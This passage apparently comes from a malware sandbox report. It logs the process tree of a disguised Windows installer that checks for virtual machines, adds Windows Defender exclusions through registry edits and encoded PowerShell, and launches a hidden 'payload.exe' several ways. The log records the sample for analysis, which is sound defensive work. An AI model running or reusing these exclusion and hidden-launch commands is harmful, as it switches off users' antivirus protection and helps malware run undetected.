    "C:\Users\Admin\AppData\Local\Temp\3IDPq0YMjpUi3NUnf3Grn506iSD\Dry5thwpur.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\desktop-service" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1696 --field-trial-handle=1700,i,6715078430107104223,4259654310272195527,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v ProductType"
    3⤵
    PID:1556
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v ProductType
      4⤵
      PID:5784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters""
    3⤵
    PID:5252
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
      4⤵
      PID:5132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
    3⤵
    PID:5400
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
      4⤵
      Looks for VMWare Tools registry key
      PID:5256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemManufacturer"
    3⤵
    PID:4452
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemManufacturer
      4⤵
      Enumerates system info in registry
      PID:1784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemProductName"
    3⤵
    - Executes a command shell one-liner
    PID:5584
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemProductName
      4⤵
      Enumerates system info in registry
      PID:2584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v BIOSVendor"
    3⤵
    PID:2068
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v BIOSVendor
      4⤵
      Enumerates system info in registry
      PID:1836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemVersion"
    3⤵
    - Executes a command shell one-liner
    PID:5548
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\HARDWARE\DESCRIPTION\System\BIOS" /v SystemVersion
      4⤵
      Enumerates system info in registry
      PID:4256

C:\Users\Admin\Desktop\ф\Launcher.exe
"C:\Users\Admin\Desktop\ф\Launcher.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2412
- C:\Users\Admin\AppData\Local\Temp\nsu81AD.tmp\old-uninstaller.exe
  "C:\Users\Admin\AppData\Local\Temp\nsu81AD.tmp\old-uninstaller.exe" /S /KEEP_APP_DATA /currentuser --keep-shortcuts --updated _?=C:\Users\Admin\AppData\Local\Programs\installer
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1848

C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
"C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
PID:5272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ps -p 3408 -o comm=,ppid="
  2⤵
  - Executes a command shell one-liner
  PID:5932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:2712
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1732
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2596
- C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
  "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1840 --field-trial-handle=1876,i,7964009224861284331,10739260617324162700,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5064
- C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
  "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=uk --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2020 --field-trial-handle=1876,i,7964009224861284331,10739260617324162700,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
  2⤵
  - Executes a command shell one-liner
  PID:2648
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
    3⤵
    PID:5532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:3604
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3896
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\comsetup_cb8b13.vbs""
  2⤵
  - Executes a command shell one-liner
  PID:1980
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\comsetup_cb8b13.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:5604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1588
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4860
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:5468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:6124
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a" /t REG_DWORD /d 0 /f"
  2⤵
  PID:2236
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a" /t REG_DWORD /d 0 /f
    3⤵
    PID:2128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3884
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f
    3⤵
    PID:4500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:1112
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:3732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4296
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4968
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5988
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4564
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:5508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFAAcgBvAGcAcgBhAG0AcwBcAGkAbgBzAHQAYQBsAGwAZQByAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAXABtAHQAMwB3AGEAcQB5AGYANgAxADQAYQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAXAB0AGUAbQBwAFwAbQB0ADMAdwBhAHEAeQBmADYAMQA0AGEAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
  2⤵
  PID:4280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFAAcgBvAGcAcgBhAG0AcwBcAGkAbgBzAHQAYQBsAGwAZQByAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAXABtAHQAMwB3AGEAcQB5AGYANgAxADQAYQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAXAB0AGUAbQBwAFwAbQB0ADMAdwBhAHEAeQBmADYAMQA0AGEAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
    3⤵
    PID:1752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:4004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe""
  2⤵
  - Executes a command shell one-liner
  PID:3816
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe"
    3⤵
    PID:4840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a'""
  2⤵
  - Executes a command shell one-liner
  PID:1124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a""
  2⤵
  - Executes a command shell one-liner
  PID:2964
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a"
    3⤵
    PID:1728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp'""
  2⤵
  PID:4692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp""
  2⤵
  - Executes a command shell one-liner
  PID:1700
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp"
    3⤵
    PID:3724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:3020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe""
  2⤵
  PID:1684
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe"
    3⤵
    PID:5200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:4632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:828
- C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe
  C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe
  2⤵
  - Executes dropped EXE
  PID:1808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe""
  2⤵
  PID:3092
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe"
    3⤵
    PID:5784
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe"
      4⤵
      Executes dropped EXE
      PID:1996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe""
  2⤵
  PID:4880
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe"
    3⤵
    PID:2232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:5772
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe"
    3⤵
    - Checks computer location settings
    - System Binary Proxy Execution: Rundll32
    PID:3944
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe"
      4⤵
      Executes dropped EXE
      PID:2332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3waqyf614a\payload.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
